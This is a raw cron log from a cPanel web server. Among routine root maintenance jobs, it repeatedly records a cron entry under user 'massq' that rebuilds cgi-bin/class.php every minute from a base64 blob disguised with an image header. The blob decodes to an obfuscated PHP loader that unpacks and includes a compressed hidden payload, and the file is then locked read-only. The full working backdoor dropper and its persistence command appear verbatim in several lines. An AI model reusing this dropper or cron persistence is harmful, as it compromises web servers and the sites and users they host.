Sep  6 09:49:01 server CROND[2884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:49:01 server CROND[2885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:50:01 server CROND[3277]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 09:50:01 server CROND[3278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:50:01 server CROND[3280]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:50:01 server CROND[3283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:50:01 server CROND[3282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:50:01 server CROND[3285]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 09:50:01 server CROND[3281]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 09:50:01 server CROND[3290]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 09:50:01 server CROND[3289]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:51:01 server CROND[4266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:51:01 server CROND[4268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:51:01 server CROND[4267]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:52:01 server CROND[4661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:52:01 server CROND[4662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:52:01 server CROND[4663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:53:01 server CROND[5065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:53:01 server CROND[5066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:53:01 server CROND[5067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:54:01 server CROND[5455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:54:01 server CROND[5456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:54:01 server CROND[5457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:55:01 server CROND[5855]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:55:01 server CROND[5857]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:55:01 server CROND[5860]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 09:55:01 server CROND[5862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:55:01 server CROND[5859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:55:01 server CROND[5861]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 09:55:01 server CROND[5858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:56:01 server CROND[6697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:56:01 server CROND[6698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:56:01 server CROND[6699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:57:01 server CROND[7254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:57:01 server CROND[7255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:57:01 server CROND[7256]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 09:57:01 server CROND[7257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:58:01 server CROND[7641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:58:01 server CROND[7642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:58:01 server CROND[7643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:59:01 server CROND[8079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:59:01 server CROND[8080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:59:01 server CROND[8081]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:00:01 server CROND[8482]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 10:00:01 server CROND[8485]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:00:01 server CROND[8488]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 10:00:01 server CROND[8483]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 10:00:01 server CROND[8490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:00:01 server CROND[8486]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 10:00:01 server CROND[8491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
